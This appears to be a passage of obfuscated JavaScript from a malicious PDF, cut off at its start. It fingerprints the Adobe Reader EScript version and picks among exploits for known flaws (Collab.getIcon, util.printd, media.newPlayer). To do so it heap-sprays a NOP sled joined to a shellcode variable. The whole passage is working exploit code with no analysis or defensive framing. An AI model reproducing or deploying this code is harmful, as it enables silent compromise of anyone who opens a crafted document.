');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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